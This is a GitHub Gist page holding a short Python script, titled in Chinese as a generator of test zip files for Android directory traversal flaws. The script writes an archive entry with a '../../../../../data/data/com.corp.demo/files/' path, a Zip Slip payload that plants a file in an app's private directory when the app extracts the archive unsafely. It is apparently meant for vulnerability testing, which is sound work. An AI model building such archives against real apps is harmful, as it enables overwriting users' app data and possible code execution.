Created
January 17, 2017 06:09
-
-
Save Oritz/83e5cf6d8c6d887d9c089c83420f1e5c to your computer and use it in GitHub Desktop.
生成测试安卓程序目录穿越漏洞的 zip 压缩文件
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import zipfile | |
import sys | |
if __name__ == "__main__": | |
try: | |
with open("test.txt", "r") as f: | |
binary = f.read() | |
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) | |
info = zipfile.ZipInfo("test.zip") | |
zipFile.writestr("../../../../../data/data/com.corp.demo/files/test.txt", binary) | |
zipFile.close() | |
except IOError as e: | |
raise e |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment